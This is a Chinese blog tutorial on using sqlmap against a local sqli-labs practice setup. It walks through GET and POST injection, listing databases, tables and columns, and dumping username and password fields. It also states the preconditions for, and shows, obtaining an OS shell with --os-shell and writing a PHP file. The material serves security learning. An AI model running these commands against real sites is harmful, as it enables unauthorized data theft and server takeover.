首页 > 数据库 >Sqlmap的使用

Sqlmap的使用

时间:2023-08-05 14:00:47浏览次数:39  
标签:Sqlmap sqlmap 0.1 Less -- py sqli 使用

1、get型提交

sqlmap.py -u +网址

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1

参数level

level的等级越高,测试的等级越广,>=2时会检查cookie里的参数

>=3时检查user-agent和refereer

--dbs               查询所有的数据库

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs

-D “数据库名”  --tables         展示数据库中所有数据表

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" --tables

-D“数据库名”-T“表名” --columns     展示数据库所有字段

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" -T"test1" --columns

-D“数据库名”-T"数据表"-C“列名(多个列可以用逗号隔开)” --dump  查看数据库的内容

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" -T"test1" -C"user,pass" --dump

 2、post提交

抓包并将数据包全部内容存在一个txt中

-r表示加载一个文件,-p指定参数

sqlmap.py -r C:\Users\然而琪露诺早已看透了一切\Desktop\test1.txt -p uname --dbs

 接下来猜表(--tables)猜列(--columns)

指定参数*  测试这个字段

基本等同于-p+测试字段,但是存在局限性。

--current-db  当前网站使用的数据库

current和db中间没空格!!!

sqlmap.py -r C:\Users\然而琪露诺早已看透了一切\Desktop\test1.txt --current-db

(2)自动搜索表单

扫描用户表单提供的数据 --forms

局限:无法扫描到cookie和头部的数据

-data

sqlmap获取shell

获取shell的前提:

(1)网站数据库必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,PHP主动转义的功能关闭

(4)secure_file_priv无限制

可以使用--is-dba命令查看是否为管理员

e.g.less-2

1、--users查出所有的用户

sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 --users

2、--os-shell --level=3获取shell的命令

sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 --os-shell --level=3

选择php

选择自定义位置

获取shell成功,可以写入一些命令

 echo "<?php  phpinfo();?>" >>test.php

(写入的语句和>>之间要有空格)

原理:sqlmap新增的tmpubpwk.php将写入的命令运行

 

 

标签:Sqlmap,sqlmap,0.1,Less,--,py,sqli,使用
From: https://www.cnblogs.com/L-1906/p/17607314.html

相关文章

  • 使用wepe 修复windows 引导
    准备一个u盘请准备一个空的的u盘,或者提前将数据备份,因为后面会格式化u盘。下载wepehttps://mirrors.sdu.edu.cn/software/Windows/WePE/WePE_64_V2.3.exe插入u盘,并且下载完成以后,双击WePE_64_V2.3.exe,然后点击这个选项,安装到u盘,点击立即安装PE到u盘开始制作这个进度条......
  • 通达信指标使用教程
      通达信指标使用教程 作者:深海游鱼 QQ:396068801 日期:2023年8月 目录1.通达信版本2.电脑端2.1.导入指标2.2.应用主图指标2.3.选股操作3.手机端3.1.导入指标3.2.主图应用3.3.选股方法4.教程结束 1. 通达信版本当前使用的版本:V7.602  ......
  • 老派Sql之必要,逆天,我在ef core中使用ado.net!
    Wlkr.Core.EFCore逆天,我在efcore中使用ado.net!老派Sql之必要当你开发生涯中基本只用一两种数据库当你觉得用EF的类写报表时很别扭当你觉自己的Sql(Server)语句写得出神入化当你觉自己的Sql(Server)语句比EF生成的更优化当你刚从.netframework转.netcore,还不知道sqls......
  • WSL2下不能使用gdb.attach的解决方案
    安装tmux用root权限安装sudoapt-getinstalltmux进入根目录cd~编辑配置使用root权限打开tmux,方便保存配置文件sudotmux新建.tmux.conf文件vim.tmux.conf在文件中输入#输入bind-keycnew-window-c"#{pane_current_path}"bind-key%split-window-h-......
  • OpenGL之绘制矩形使用索引和glUniform4f
    glUniform更改一个uniform变量或数组的值。要更改的uniform变量的位置由location指定,location的值应该由glGetUniformLocation函数返回。通过调用glUseProgram,glUniform操作的程序对象将成为当前状态的一部分。glUniform{1|2|3|4}{f|i}使用传进来的实参,修改通过location指定的uni......
  • MySQL内存使用排查
    MySQL使用内存上升90%!在运维过程中50%的几率,会碰到这样的问题。算是比较普遍的现象。MySQL内存使用率过高,有诸多原因。普遍原因是使用不当,还有MySQL本身缺陷导致的。到底是哪方面的问题,那就需要一个一个进行排查。下面介绍排查思路:1.参数配置需要确认,内存是否设置合理MySQL内......
  • OpenGL之绘制三角形使用顶点颜色
     ●VBO、VAO与EBO之间的联系与区别:⭐️⭐️  ①顶点缓冲对象VBO是在显卡存储空间中开辟出的一块内存缓存区,用于存储顶点的各类属性信息,如顶点坐标、顶点法向量、顶点颜色数据等。在渲染时,可以直接从VBO中取出顶点的各类属性数据,由于VBO在显存而不是在内存中,不需要从CP......
  • 一文弄懂什么是DNS、A记录、CNAME以及使用方法
    域名解析DNS简介域名解析(DomainNameSystem,DNS)是互联网中用于将人类可读的域名(例如www.example.com)转换为计算机可理解的IP地址(例如192.168.1.1)的系统。它充当了互联网上的一个“电话簿”,帮助将用户提供的域名映射到实际的网络地址,使得计算机能够找到并连接到相应的网络服务器。白......
  • 使用VS时的一些报错_1
    一.使用EasyX库函数中的loadimage函数时报错:loadimage没有与参数列表匹配的重载函数解决方法:右键解决方案,点击属性,【高级】→【高级属性】右【字符集】设置成【使用多字节字符集】即可解决。二.错误C4996‘strcpy’:Thisfunctionorvariablemaybeunsafe.Considerusi......
  • gitlab的日常使用
    (gitlab的日常使用)一、登录gitlab二、修改当前用户的密码三、项目管理1.新建项目2.查看该项目四、导入sshkey项目地址有HTTP和SSH两种方式-------可发送给开发人员下载和初始化项目如果通过SSH方式拉取推送项目代码必须要导入SSHkey1.选择ssh方式2.选择设置列......